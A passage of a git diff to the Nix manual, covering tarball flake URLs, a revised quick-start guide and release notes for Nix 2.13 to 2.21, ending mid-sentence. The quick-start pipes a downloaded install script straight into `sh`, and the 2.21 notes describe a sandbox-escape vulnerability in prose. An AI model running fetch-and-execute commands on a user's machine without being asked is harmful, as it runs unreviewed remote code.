responsibility of the user to make sure that +the URL always produces the same tarball contents. + +An HTTP server can return an "immutable" HTTP URL appropriate for lock +files. This allows users to specify a tarball flake input in +`flake.nix` that requests the latest version of a flake +(e.g. `https://example.org/hello/latest.tar.gz`), while `flake.lock` +will record a URL whose contents will not change +(e.g. `https://example.org/hello/.tar.gz`). To do so, the +server must return an [HTTP `Link` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Link) with the `rel` attribute set to +`immutable`, as follows: + +``` +Link: ; rel="immutable" +``` + +(Note the required `<` and `>` characters around *flakeref*.) + +*flakeref* must be a tarball flakeref. It can contain the tarball flake attributes +`narHash`, `rev`, `revCount` and `lastModified`. If `narHash` is included, its +value must be the [NAR hash][Nix Archive] of the unpacked tarball (as computed via +`nix hash path`). Nix checks the contents of the returned tarball +against the `narHash` attribute. The `rev` and `revCount` attributes +are useful when the tarball flake is a mirror of a fetcher type that +has those attributes, such as Git or GitHub. They are not checked by +Nix. + +``` +Link: ; rel="immutable" +``` + +(The linebreaks in this example are for clarity and must not be included in the actual response.) + +For tarball flakes, the value of the `lastModified` flake attribute is +defined as the timestamp of the newest file inside the tarball. + +## Gitea and Forgejo support + +This protocol is supported by Gitea since v1.22.1 and by Forgejo since v7.0.4/v8.0.0 and can be used with the following flake URL schema: + +``` +https://///archive/.tar.gz +``` + +> **Example** +> +> +> ```nix +> # flake.nix +> { +> inputs = { +> foo.url = "https://gitea.example.org/some-person/some-flake/archive/main.tar.gz"; +> bar.url = "https://gitea.example.org/some-other-person/other-flake/archive/442793d9ec0584f6a6e82fa253850c8085bb150a.tar.gz"; +> qux = { +> url = "https://forgejo.example.org/another-person/some-non-flake-repo/archive/development.tar.gz"; +> flake = false; +> }; +> }; +> outputs = { foo, bar, qux }: { /* ... */ }; +> } +``` + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive diff --git a/doc/manual/src/quick-start.md b/doc/manual/src/quick-start.md index b54e73500..9eb7a3265 100644 --- a/doc/manual/src/quick-start.md +++ b/doc/manual/src/quick-start.md @@ -1,99 +1,43 @@ # Quick Start -This chapter is for impatient people who don't like reading -documentation. For more in-depth information you are kindly referred -to subsequent chapters. +This chapter is for impatient people who don't like reading documentation. +For more in-depth information you are kindly referred to subsequent chapters. -1. Install single-user Nix by running the following: +1. Install Nix: ```console - $ bash <(curl -L https://nixos.org/nix/install) + $ curl -L https://nixos.org/nix/install | sh ``` - This will install Nix in `/nix`. The install script will create - `/nix` using `sudo`, so make sure you have sufficient rights. (For - other installation methods, see - [here](installation/installation.md).) + The install script will use `sudo`, so make sure you have sufficient rights. -1. See what installable packages are currently available in the - channel: + For other installation methods, see the detailed [installation instructions](installation/index.md). + +1. Run software without installing it permanently: ```console - $ nix-env -qaP - nixpkgs.docbook_xml_dtd_43 docbook-xml-4.3 - nixpkgs.docbook_xml_dtd_45 docbook-xml-4.5 - nixpkgs.firefox firefox-33.0.2 - nixpkgs.hello hello-2.9 - nixpkgs.libxslt libxslt-1.1.28 - … + $ nix-shell --packages cowsay lolcat ``` -1. Install some packages from the channel: + This downloads the specified packages with all their dependencies, and drops you into a Bash shell where the commands provided by those packages are present. + This will not affect your normal environment: ```console - $ nix-env -iA nixpkgs.hello + [nix-shell:~]$ cowsay Hello, Nix! | lolcat ``` - This should download pre-built packages; it should not build them - locally (if it does, something went wrong). - -1. Test that they work: + Exiting the shell will make the programs disappear again: ```console - $ which hello - /home/eelco/.nix-profile/bin/hello - $ hello - Hello, world! - ``` - -1. Uninstall a package: - - ```console - $ nix-env -e hello - ``` - -1. You can also test a package without installing it: - - ```console - $ nix-shell -p hello - ``` - - This builds or downloads GNU Hello and its dependencies, then drops - you into a Bash shell where the `hello` command is present, all - without affecting your normal environment: - - ```console - [nix-shell:~]$ hello - Hello, world! - [nix-shell:~]$ exit - - $ hello - hello: command not found + $ lolcat + lolcat: command not found ``` -1. To keep up-to-date with the channel, do: +1. Search for more packages on [search.nixos.org](https://search.nixos.org/) to try them out. + +1. Free up storage space: ```console - $ nix-channel --update nixpkgs - $ nix-env -u '*' - ``` - - The latter command will upgrade each installed package for which - there is a “newer” version (as determined by comparing the version - numbers). - -1. If you're unhappy with the result of a `nix-env` action (e.g., an - upgraded package turned out not to work properly), you can go back: - - ```console - $ nix-env --rollback - ``` - -1. You should periodically run the Nix garbage collector to get rid of - unused packages, since uninstalls or upgrades don't actually delete - them: - - ```console - $ nix-collect-garbage -d + $ nix-collect-garbage ``` diff --git a/doc/manual/src/release-notes/index.md b/doc/manual/src/release-notes/index.md new file mode 100644 index 000000000..d4e6292a6 --- /dev/null +++ b/doc/manual/src/release-notes/index.md @@ -0,0 +1,13 @@ +# Nix Release Notes + +The Nix release cycle is calendar-based as follows: + +Nix has a release cycle of roughly 6 weeks. +Notable changes and additions are announced in the release notes for each version. + +The supported Nix versions are: +- The latest release +- The version used in the stable NixOS release, which is announced in the [NixOS release notes](https://nixos.org/manual/nixos/stable/release-notes.html#ch-release-notes). + +Bugfixes and security issues are backported to every supported version. +Patch releases are published as needed. diff --git a/doc/manual/src/release-notes/release-notes.md b/doc/manual/src/release-notes/release-notes.md deleted file mode 100644 index b05d5ee0a..000000000 --- a/doc/manual/src/release-notes/release-notes.md +++ /dev/null @@ -1 +0,0 @@ -# Nix Release Notes diff --git a/doc/manual/src/release-notes/rl-2.12.md b/doc/manual/src/release-notes/rl-2.12.md index e2045d7bf..e1e3efe1a 100644 --- a/doc/manual/src/release-notes/rl-2.12.md +++ b/doc/manual/src/release-notes/rl-2.12.md @@ -2,7 +2,6 @@ * On Linux, Nix can now run builds in a user namespace where they run as root (UID 0) and have 65,536 UIDs available. - This is primarily useful for running containers such as `systemd-nspawn` inside a Nix build. For an example, see [`tests/systemd-nspawn/nix`][nspawn]. diff --git a/doc/manual/src/release-notes/rl-2.13.md b/doc/manual/src/release-notes/rl-2.13.md new file mode 100644 index 000000000..168708113 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.13.md @@ -0,0 +1,44 @@ +# Release 2.13 (2023-01-17) + +* The `repeat` and `enforce-determinism` options have been removed + since they had been broken under many circumstances for a long time. + +* You can now use [flake references] in the [old command line interface], e.g. + + [flake references]: ../command-ref/new-cli/nix3-flake.md#flake-references + [old command line interface]: ../command-ref/main-commands.md + + ```shell-session + # nix-build flake:nixpkgs -A hello + # nix-build -I nixpkgs=flake:github:NixOS/nixpkgs/nixos-22.05 \ + '' -A hello + # NIX_PATH=nixpkgs=flake:nixpkgs nix-build '' -A hello + ``` + +* Instead of "antiquotation", the more common term [string interpolation](../language/string-interpolation.md) is now used consistently. + Historical release notes were not changed. + +* Error traces have been reworked to provide detailed explanations and more + accurate error locations. A short excerpt of the trace is now shown by + default when an error occurs. + +* Allow explicitly selecting outputs in a store derivation installable, just like we can do with other sorts of installables. + For example, + ```shell-session + # nix build /nix/store/gzaflydcr6sb3567hap9q6srzx8ggdgg-glibc-2.33-78.drv^dev + ``` + now works just as + ```shell-session + # nix build nixpkgs#glibc^dev + ``` + does already. + +* On Linux, `nix develop` now sets the + [*personality*](https://man7.org/linux/man-pages/man2/personality.2.html) + for the development shell in the same way as the actual build of the + derivation. This makes shells for `i686-linux` derivations work + correctly on `x86_64-linux`. + +* You can now disable the global flake registry by setting the `flake-registry` + configuration option to an empty string. The same can be achieved at runtime with + `--flake-registry ""`. diff --git a/doc/manual/src/release-notes/rl-2.14.md b/doc/manual/src/release-notes/rl-2.14.md new file mode 100644 index 000000000..705c118bb --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.14.md @@ -0,0 +1,22 @@ +# Release 2.14 (2023-02-28) + +* A new function `builtins.readFileType` is available. It is similar to + `builtins.readDir` but acts on a single file or directory. + +* In flakes, the `.outPath` attribute of a flake now always refers to + the directory containing the `flake.nix`. This was not the case for + when `flake.nix` was in a subdirectory of e.g. a Git repository. + The root of the source of a flake in a subdirectory is still + available in `.sourceInfo.outPath`. + +* In derivations that use structured attributes, you can now use `unsafeDiscardReferences` + to disable scanning a given output for runtime dependencies: + ```nix + __structuredAttrs = true; + unsafeDiscardReferences.out = true; + ``` + This is useful e.g. when generating self-contained filesystem images with + their own embedded Nix store: hashes found inside such an image refer + to the embedded store and not to the host's Nix store. + + This requires the `discard-references` experimental feature. diff --git a/doc/manual/src/release-notes/rl-2.15.md b/doc/manual/src/release-notes/rl-2.15.md new file mode 100644 index 000000000..e7e52631b --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.15.md @@ -0,0 +1,58 @@ +# Release 2.15 (2023-04-11) + +* Commands which take installables on the command line can now read them from the standard input if + passed the `--stdin` flag. This is primarily useful when you have a large amount of paths which + exceed the OS argument limit. + +* The `nix-hash` command now supports Base64 and SRI. Use the flags `--base64` + or `--sri` to specify the format of output hash as Base64 or SRI, and `--to-base64` + or `--to-sri` to convert a hash to Base64 or SRI format, respectively. + + As the choice of hash formats is no longer binary, the `--base16` flag is also added + to explicitly specify the Base16 format, which is still the default. + +* The special handling of an [installable](../command-ref/new-cli/nix.md#installables) with `.drv` suffix being interpreted as all of the given [store derivation](@docroot@/glossary.md#gloss-store-derivation)'s output paths is removed, and instead taken as the literal store path that it represents. + + The new `^` syntax for store paths introduced in Nix 2.13 allows explicitly referencing output paths of a derivation. + Using this is better and more clear than relying on the now-removed `.drv` special handling. + + For example, + ```shell-session + $ nix path-info /nix/store/gzaflydcr6sb3567hap9q6srzx8ggdgg-glibc-2.33-78.drv + ``` + + now gives info about the derivation itself, while + + ```shell-session + $ nix path-info /nix/store/gzaflydcr6sb3567hap9q6srzx8ggdgg-glibc-2.33-78.drv^* + ``` + provides information about each of its outputs. + +* The experimental command `nix describe-stores` has been removed. + +* Nix stores and their settings are now documented in [`nix help-stores`](@docroot@/command-ref/new-cli/nix3-help-stores.md). + +* Documentation for operations of `nix-store` and `nix-env` are now available on separate pages of the manual. + They include all common options that can be specified and common environment variables that affect these commands. + + These pages can be viewed offline with `man` using + + * `man nix-store-` and `man nix-env-` + * `nix-store --help --` and `nix-env --help --`. + +* Nix when used as a client now checks whether the store (the server) trusts the client. + (The store always had to check whether it trusts the client, but now the client is informed of the store's decision.) + This is useful for scripting interactions with (non-legacy-ssh) remote Nix stores. + + `nix store ping` and `nix doctor` now display this information. + +* The new command `nix derivation add` allows adding derivations to the store without involving the Nix language. + It exists to round out our collection of basic utility/plumbing commands, and allow for a low barrier-to-entry way of experimenting with alternative front-ends to the Nix Store. + It uses the same JSON layout as `nix derivation show`, and is its inverse. + +* `nix show-derivation` has been renamed to `nix derivation show`. + This matches `nix derivation add`, and avoids bloating the top-level namespace. + The old name is still kept as an alias for compatibility, however. + +* The `nix derivation {add,show}` JSON format now includes the derivation name as a top-level field. + This is useful in general, but especially necessary for the `add` direction, as otherwise we would need to pass in the name out of band for certain cases. diff --git a/doc/manual/src/release-notes/rl-2.16.md b/doc/manual/src/release-notes/rl-2.16.md new file mode 100644 index 000000000..97b40d0b8 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.16.md @@ -0,0 +1,8 @@ +# Release 2.16 (2023-05-31) + +* Speed-up of downloads from binary caches. + The number of parallel downloads (also known as substitutions) has been separated from the [`--max-jobs` setting](../command-ref/conf-file.md#conf-max-jobs). + The new setting is called [`max-substitution-jobs`](../command-ref/conf-file.md#conf-max-substitution-jobs). + The number of parallel downloads is now set to 16 by default (previously, the default was 1 due to the coupling to build jobs). + +* The function [`builtins.replaceStrings`](@docroot@/language/builtins.md#builtins-replaceStrings) is now lazy in the value of its second argument `to`. That is, `to` is only evaluated when its corresponding pattern in `from` is matched in the string `s`. diff --git a/doc/manual/src/release-notes/rl-2.17.md b/doc/manual/src/release-notes/rl-2.17.md new file mode 100644 index 000000000..0b861aecc --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.17.md @@ -0,0 +1,42 @@ +# Release 2.17 (2023-07-24) + +* [`nix-channel`](../command-ref/nix-channel.md) now supports a `--list-generations` subcommand. + +* The function [`builtins.fetchClosure`](../language/builtins.md#builtins-fetchClosure) can now fetch input-addressed paths in [pure evaluation mode](../command-ref/conf-file.md#conf-pure-eval), as those are not impure. + +* Nix now allows unprivileged/[`allowed-users`](../command-ref/conf-file.md#conf-allowed-users) to sign paths. + Previously, only [`trusted-users`](../command-ref/conf-file.md#conf-trusted-users) users could sign paths. + +* Nested dynamic attributes are now merged correctly by the parser. For example: + + ```nix + { + nested = { + foo = 1; + }; + nested = { + ${"ba" + "r"} = 2; + }; + } + ``` + + This used to silently discard `nested.bar`, but now behaves as one would expect and evaluates to: + + ```nix + { nested = { bar = 2; foo = 1; }; } + ``` + + Note that the feature of merging multiple *full declarations* of attribute sets like `nested` in the example is of questionable value. + It allows writing expressions that are very hard to read, for instance when there are many lines of code between two declarations of the same attribute. + This has been around for a long time and is therefore supported for backwards compatibility, but should not be relied upon. + + Instead, consider using the *nested attribute path* syntax: + + ```nix + { + nested.foo = 1; + nested.${"ba" + "r"} = 2; + } + ``` + +* Tarball flakes can now redirect to an "immutable" URL that will be recorded in lock files. This allows the use of "mutable" tarball URLs like `https://example.org/hello/latest.tar.gz` in flakes. See the [tarball fetcher](../protocols/tarball-fetcher.md) for details. diff --git a/doc/manual/src/release-notes/rl-2.18.md b/doc/manual/src/release-notes/rl-2.18.md new file mode 100644 index 000000000..eb26fc9e7 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.18.md @@ -0,0 +1,28 @@ +# Release 2.18 (2023-09-20) + +- Two new builtin functions, + [`builtins.parseFlakeRef`](@docroot@/language/builtins.md#builtins-parseFlakeRef) + and + [`builtins.flakeRefToString`](@docroot@/language/builtins.md#builtins-flakeRefToString), + have been added. + These functions are useful for converting between flake references encoded as attribute sets and URLs. + +- [`builtins.toJSON`](@docroot@/language/builtins.md#builtins-parseFlakeRef) now prints [--show-trace](@docroot@/command-ref/conf-file.html#conf-show-trace) items for the path in which it finds an evaluation error. + +- Error messages regarding malformed input to [`nix derivation add`](@docroot@/command-ref/new-cli/nix3-derivation-add.md) are now clearer and more detailed. + +- The `discard-references` feature has been stabilized. + This means that the + [unsafeDiscardReferences](@docroot@/development/experimental-features.md#xp-feature-discard-references) + attribute is no longer guarded by an experimental flag and can be used + freely. + +- The JSON output for derived paths which are store paths is now a string, not an object with a single `path` field. + This only affects `nix-build --json` when "building" non-derivation things like fetched sources, which is a no-op. + +- A new builtin [`outputOf`](@docroot@/language/builtins.md#builtins-outputOf) has been added. + It is part of the [`dynamic-derivations`](@docroot@/development/experimental-features.md#xp-feature-dynamic-derivations) experimental feature. + +- Flake follow paths at depths greater than 2 are now handled correctly, preventing "follows a non-existent input" errors. + +- [`nix-store --query`](@docroot@/command-ref/nix-store/query.md) gained a new type of query: `--valid-derivers`. It returns all `.drv` files in the local store that *can be* used to build the output passed in argument. This is in contrast to `--deriver`, which returns the single `.drv` file that *was actually* used to build the output passed in argument. In case the output was substituted from a binary cache, this `.drv` file may only exist on said binary cache and not locally. diff --git a/doc/manual/src/release-notes/rl-2.19.md b/doc/manual/src/release-notes/rl-2.19.md new file mode 100644 index 000000000..e2e2f85cc --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.19.md @@ -0,0 +1,77 @@ +# Release 2.19 (2023-11-17) + +- The experimental `nix` command can now act as a [shebang interpreter](@docroot@/command-ref/new-cli/nix.md#shebang-interpreter) + by appending the contents of any `#! nix` lines and the script's location into a single call. + +- [URL flake references](@docroot@/command-ref/new-cli/nix3-flake.md#flake-references) now support [percent-encoded](https://datatracker.ietf.org/doc/html/rfc3986#section-2.1) characters. + +- [Path-like flake references](@docroot@/command-ref/new-cli/nix3-flake.md#path-like-syntax) now accept arbitrary unicode characters (except `#` and `?`). + +- The experimental feature `repl-flake` is no longer needed, as its functionality is now part of the `flakes` experimental feature. To get the previous behavior, use the `--file/--expr` flags accordingly. + +- There is a new flake installable syntax `flakeref#.attrPath` where the "." prefix specifies that `attrPath` is interpreted from the root of the flake outputs, with no searching of default attribute prefixes like `packages.` or `legacyPackages.`. + +- Nix adds `apple-virt` to the default system features on macOS systems that support virtualization. This is similar to what's done for the `kvm` system feature on Linux hosts. + +- Add a new built-in function [`builtins.convertHash`](@docroot@/language/builtins.md#builtins-convertHash). + +- `nix-shell` shebang lines now support single-quoted arguments. + +- `builtins.fetchTree` is now its own experimental feature, [`fetch-tree`](@docroot@/development/experimental-features.md#xp-fetch-tree). + This allows stabilising it independently of the rest of what is encompassed by [`flakes`](@docroot@/development/experimental-features.md#xp-fetch-tree). + +- The interface for creating and updating lock files has been overhauled: + + - [`nix flake lock`](@docroot@/command-ref/new-cli/nix3-flake-lock.md) only creates lock files and adds missing inputs now. + It will *never* update existing inputs. + + - [`nix flake update`](@docroot@/command-ref/new-cli/nix3-flake-update.md) does the same, but *will* update inputs. + - Passing no arguments will update all inputs of the current flake, just like it already did. + - Passing input names as arguments will ensure only those are updated. This replaces the functionality of `nix flake lock --update-input` + - To operate on a flake outside the current directory, you must now pass `--flake path/to/flake`. + + - The flake-specific flags `--recreate-lock-file` and `--update-input` have been removed from all commands operating on installables. + They are superceded by `nix flake update`. + +- Commit signature verification for the [`builtins.fetchGit`](@docroot@/language/builtins.md#builtins-fetchGit) is added as the new [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). + +- [`nix path-info --json`](@docroot@/command-ref/new-cli/nix3-path-info.md) + (experimental) now returns a JSON map rather than JSON list. + The `path` field of each object has instead become the key in the outer map, since it is unique. + The `valid` field also goes away because we just use `null` instead. + + - Old way: + + ```json5 + [ + { + "path": "/nix/store/8fv91097mbh5049i9rglc73dx6kjg3qk-bash-5.2-p15", + "valid": true, + // ... + }, + { + "path": "/nix/store/wffw7l0alvs3iw94cbgi1gmmbmw99sqb-home-manager-path", + "valid": false + } + ] + ``` + + - New way + + ```json5 + { + "/nix/store/8fv91097mbh5049i9rglc73dx6kjg3qk-bash-5.2-p15": { + // ... + }, + "/nix/store/wffw7l0alvs3iw94cbgi1gmmbmw99sqb-home-manager-path": null, + } + ``` + + This makes it match `nix derivation show`, which also maps store paths to information. + +- When Nix is installed using the [binary installer](@docroot@/installation/installing-binary.md), in supported shells (Bash, Zsh, Fish) + [`XDG_DATA_DIRS`](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html#variables) is now populated with the path to the `/share` subdirectory of the current profile. + This means that command completion scripts, `.desktop` files, and similar artifacts installed via [`nix-env`](@docroot@/command-ref/nix-env.md) or [`nix profile`](@docroot@/command-ref/new-cli/nix3-profile.md) + (experimental) can be found by any program that follows the [XDG Base Directory Specification](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html). + +- A new command `nix store add` has been added. It replaces `nix store add-file` and `nix store add-path` which are now deprecated. diff --git a/doc/manual/src/release-notes/rl-2.20.md b/doc/manual/src/release-notes/rl-2.20.md new file mode 100644 index 000000000..eb724f600 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.20.md @@ -0,0 +1,208 @@ +# Release 2.20.0 (2024-01-29) + +- Option `allowed-uris` can now match whole schemes in URIs without slashes [#9547](https://github.com/NixOS/nix/pull/9547) + + If a scheme, such as `github:` is specified in the `allowed-uris` option, all URIs starting with `github:` are allowed. + Previously this only worked for schemes whose URIs used the `://` syntax. + +- Include cgroup stats when building through the daemon [#9598](https://github.com/NixOS/nix/pull/9598) + + Nix now also reports cgroup statistics when building through the Nix daemon and when doing remote builds using `ssh-ng`, + if both sides of the connection are using Nix 2.20 or newer. + +- Disallow empty search regex in `nix search` [#9481](https://github.com/NixOS/nix/pull/9481) + + [`nix search`](@docroot@/command-ref/new-cli/nix3-search.md) now requires a search regex to be passed. To show all packages, use `^`. + +- Add new `eval-system` setting [#4093](https://github.com/NixOS/nix/pull/4093) + + Add a new `eval-system` option. + Unlike `system`, it just overrides the value of `builtins.currentSystem`. + This is more useful than overriding `system`, because you can build these derivations on remote builders which can work on the given system. + In contrast, `system` also affects scheduling which will cause Nix to build those derivations locally even if that doesn't make sense. + + `eval-system` only takes effect if it is non-empty. + If empty (the default) `system` is used as before, so there is no breakage. + +- Import-from-derivation builds the derivation in the build store [#9661](https://github.com/NixOS/nix/pull/9661) + + When using `--eval-store`, `import`ing from a derivation will now result in the derivation being built on the build store, i.e. the store specified in the `store` Nix option. + + Because the resulting Nix expression must be copied back to the evaluation store in order to be imported, this requires the evaluation store to trust the build store's signatures. + +- Mounted SSH Store [#7890](https://github.com/NixOS/nix/issues/7890) [#7912](https://github.com/NixOS/nix/pull/7912) + + Introduced the store [`mounted-ssh-ng://`](@docroot@/command-ref/new-cli/nix3-help-stores.md). + This store allows full access to a Nix store on a remote machine and additionally requires that the store be mounted in the local filesystem. + +- Rename `nix show-config` to `nix config show` [#7672](https://github.com/NixOS/nix/issues/7672) [#9477](https://github.com/NixOS/nix/pull/9477) + + `nix show-config` was renamed to `nix config show`, and `nix doctor` was renamed to `nix config check`, to be more consistent with the rest of the command line interface. + +- Add command `nix hash convert` [#9452](https://github.com/NixOS/nix/pull/9452) + + This replaces the old `nix hash to-*` commands, which are still available but will emit a deprecation warning. Please convert as follows: + + - `nix hash to-base16 $hash1 $hash2`: Use `nix hash convert --to base16 $hash1 $hash2` instead. + - `nix hash to-base32 $hash1 $hash2`: Use `nix hash convert --to nix32 $hash1 $hash2` instead. + - `nix hash to-base64 $hash1 $hash2`: Use `nix hash convert --to base64 $hash1 $hash2` instead. + - `nix hash to-sri $hash1 $hash2`: : Use `nix hash convert --to sri $hash1 $hash2` or even just `nix hash convert $hash1 $hash2` instead. + +- Rename hash format `base32` to `nix32` [#9452](https://github.com/NixOS/nix/pull/9452) + + Hash format `base32` was renamed to `nix32` since it used a special Nix-specific character set for + [Base32](https://en.wikipedia.org/wiki/Base32). + +- `nix profile` now allows referring to elements by human-readable names [#8678](https://github.com/NixOS/nix/pull/8678) + + [`nix profile`](@docroot@/command-ref/new-cli/nix3-profile.md) now uses names to refer to installed packages when running [`list`](@docroot@/command-ref/new-cli/nix3-profile-list.md), [`remove`](@docroot@/command-ref/new-cli/nix3-profile-remove.md) or [`upgrade`](@docroot@/command-ref/new-cli/nix3-profile-upgrade.md) as opposed to indices. Profile element names are generated when a package is installed and remain the same until the package is removed. + + **Warning**: The `manifest.nix` file used to record the contents of profiles has changed. Nix will automatically upgrade profiles to the new version when you modify the profile. After that, the profile can no longer be used by older versions of Nix. + +- Give `nix store add` a `--hash-algo` flag [#9809](https://github.com/NixOS/nix/pull/9809) + + Adds a missing feature that was present in the old CLI, and matches our + plans to have similar flags for `nix hash convert` and `nix hash path`. + +- Coercion errors include the failing value + + The `error: cannot coerce a to a string` message now includes the value + which caused the error. + + Before: + + ``` + error: cannot coerce a set to a string + ``` + + After: + + ``` + error: cannot coerce a set to a string: { aesSupport = «thunk»; + avx2Support = «thunk»; avx512Support = «thunk»; avxSupport = «thunk»; + canExecute = «thunk»; config = «thunk»; darwinArch = «thunk»; darwinMinVersion + = «thunk»; darwinMinVersionVariable = «thunk»; darwinPlatform = «thunk»; «84 + attributes elided»} + ``` + +- Type errors include the failing value + + In errors like `value is an integer while a list was expected`, the message now + includes the failing value. + + Before: + + ``` + error: value is a set while a string was expected + ``` + + After: + + ``` + error: expected a string but found a set: { ghc810 = «thunk»; + ghc8102Binary = «thunk»; ghc8107 = «thunk»; ghc8107Binary = «thunk»; + ghc865Binary = «thunk»; ghc90 = «thunk»; ghc902 = «thunk»; ghc92 = «thunk»; + ghc924Binary = «thunk»; ghc925 = «thunk»; «17 attributes elided»} + ``` + +- Source locations are printed more consistently in errors [#561](https://github.com/NixOS/nix/issues/561) [#9555](https://github.com/NixOS/nix/pull/9555) + + Source location information is now included in error messages more + consistently. Given this code: + + ```nix + let + attr = {foo = "bar";}; + key = {}; + in + attr.${key} + ``` + + Previously, Nix would show this unhelpful message when attempting to evaluate + it: + + ``` + error: + … while evaluating an attribute name + + error: value is a set while a string was expected + ``` + + Now, the error message displays where the problematic value was found: + + ``` + error: + … while evaluating an attribute name + + at bad.nix:4:11: + + 3| key = {}; + 4| in attr.${key} + | ^ + 5| + + error: expected a string but found a set + ``` + +- Some stack overflow segfaults are fixed [#9616](https://github.com/NixOS/nix/issues/9616) [#9617](https://github.com/NixOS/nix/pull/9617) + + The number of nested function calls has been restricted, to detect and report + infinite function call recursions. The default maximum call depth is 10,000 and + can be set with [the `max-call-depth` + option](@docroot@/command-ref/conf-file.md#conf-max-call-depth). + + This replaces the `stack overflow (possible infinite recursion)` message. + +- Better error reporting for `with` expressions [#9658](https://github.com/NixOS/nix/pull/9658) + + `with` expressions using non-attrset values to resolve variables are now reported with proper positions, e.g. + + ``` + nix-repl> with 1; a + error: + … while evaluating the first subexpression of a with expression + at «string»:1:1: + 1| with 1; a + | ^ + + error: expected a set but found an integer + ``` + +- Functions are printed with more detail [#7145](https://github.com/NixOS/nix/issues/7145) [#9606](https://github.com/NixOS/nix/pull/9606) + + `nix repl`, `nix eval`, `builtins.trace`, and most other places values are + printed will now include function names and source location information: + + ``` + $ nix repl nixpkgs + nix-repl> builtins.map + «primop map» + + nix-repl> builtins.map lib.id + «partially applied primop map» + + nix-repl> builtins.trace lib.id "my-value" + trace: «lambda id @ /nix/store/8rrzq23h2zq7sv5l2vhw44kls5w0f654-source/lib/trivial.nix:26:5» + "my-value" + ``` + +- Flake operations like `nix develop` will no longer fail when run in a Git + repository where the `flake.lock` file is `.gitignore`d + [#8854](https://github.com/NixOS/nix/issues/8854) + [#9324](https://github.com/NixOS/nix/pull/9324) + +- Nix commands will now respect Ctrl-C + [#7145](https://github.com/NixOS/nix/issues/7145) + [#6995](https://github.com/NixOS/nix/pull/6995) + [#9687](https://github.com/NixOS/nix/pull/9687) + + Previously, many Nix commands would hang indefinitely if Ctrl-C was pressed + while performing various operations (including `nix develop`, `nix flake + update`, and so on). With several fixes to Nix's signal handlers, Nix + commands will now exit quickly after Ctrl-C is pressed. + +- `nix copy` to a `ssh-ng` store now needs `--substitute-on-destination` (a.k.a. `-s`) + in order to substitute paths on the remote store instead of copying them. + The behavior is consistent with `nix copy` to a different kind of remote store. + Previously this behavior was controlled by the + `builders-use-substitutes` setting and `--substitute-on-destination` was ignored. diff --git a/doc/manual/src/release-notes/rl-2.21.md b/doc/manual/src/release-notes/rl-2.21.md new file mode 100644 index 000000000..75114f117 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.21.md @@ -0,0 +1,302 @@ +# Release 2.21.0 (2024-03-11) + +- Fix a fixed-output derivation sandbox escape (CVE-2024-27297) + + Cooperating Nix derivations could send file descriptors to files in the Nix + store to each other via Unix domain sockets in the abstract namespace. This + allowed one derivation to modify the output of the other derivation, after Nix + has registered the path as "valid" and immutable in the Nix database. + In particular, this allowed the output of fixed-output derivations to be + modified from their expected content. + + This isn't the case any more. + +- CLI options `--arg-from-file` and `--arg-from-stdin` [#10122](https://github.com/NixOS/nix/pull/10122) + + The new CLI option `--arg-from-file` *name* *path* passes the contents + of file *path* as a string value via the function argument *name* to a + Nix expression. Similarly, the new option `--arg-from-stdin` *name* + reads the contents of the string from standard input. + +- Concise error printing in `nix repl` [#9928](https://github.com/NixOS/nix/pull/9928) + + Previously, if an element of a list or attribute set threw an error while + evaluating, `nix repl` would print the entire error (including source location + information) inline. This output was clumsy and difficult to parse: + + ``` + nix-repl> { err = builtins.throw "uh oh!"; } + { err = «error: + … while calling the 'throw' builtin + at «string»:1:9: + 1| { err = builtins.throw "uh oh!"; } + | ^ + + error: uh oh!»; } + ``` + + Now, only the error message is displayed, making the output much more readable. + ``` + nix-repl> { err = builtins.throw "uh oh!"; } + { err = «error: uh oh!»; } + ``` + + However, if the whole expression being evaluated throws an error, source + locations and (if applicable) a stack trace are printed, just like you'd expect: + + ``` + nix-repl> builtins.throw "uh oh!" + error: + … while calling the 'throw' builtin + at «string»:1:1: + 1| builtins.throw "uh oh!" + | ^ + + error: uh oh! + ``` + +- `--debugger` can now access bindings from `let` expressions [#8827](https://github.com/NixOS/nix/issues/8827) [#9918](https://github.com/NixOS/nix/pull/9918) + + Breakpoints and errors in the bindings of a `let` expression can now access + those bindings in the debugger. Previously, only the body of `let` expressions + could access those bindings. + +- Enter the `--debugger` when `builtins.trace` is called if `debugger-on-trace` is set [#9914](https://github.com/NixOS/nix/pull/9914) + + If the `debugger-on-trace` option is set and `--debugger` is given, + `builtins.trace` calls will behave similarly to `builtins.break` and will enter + the debug REPL. This is useful for determining where warnings are being emitted + from. + +- Debugger prints source position information [#9913](https://github.com/NixOS/nix/pull/9913) + + The `--debugger` now prints source location information, instead of the + pointers of source location information. Before: + + ``` + nix-repl> :bt + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + 0x600001522598 + ``` + + After: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + /nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in + ``` + +- The `--debugger` will start more reliably in `let` expressions and function calls [#6649](https://github.com/NixOS/nix/issues/6649) [#9917](https://github.com/NixOS/nix/pull/9917) + + Previously, if you attempted to evaluate this file with the debugger: + + ```nix + let + a = builtins.trace "before inner break" ( + builtins.break "hello" + ); + b = builtins.trace "before outer break" ( + builtins.break a + ); + in + b + ``` + + Nix would correctly enter the debugger at `builtins.break a`, but if you asked + it to `:continue`, it would skip over the `builtins.break "hello"` expression + entirely. + + Now, Nix will correctly enter the debugger at both breakpoints. + +- Nested debuggers are no longer supported [#9920](https://github.com/NixOS/nix/pull/9920) + + Previously, evaluating an expression that throws an error in the debugger would + enter a second, nested debugger: + + ``` + nix-repl> builtins.throw "what" + error: what + + + Starting REPL to allow you to inspect the 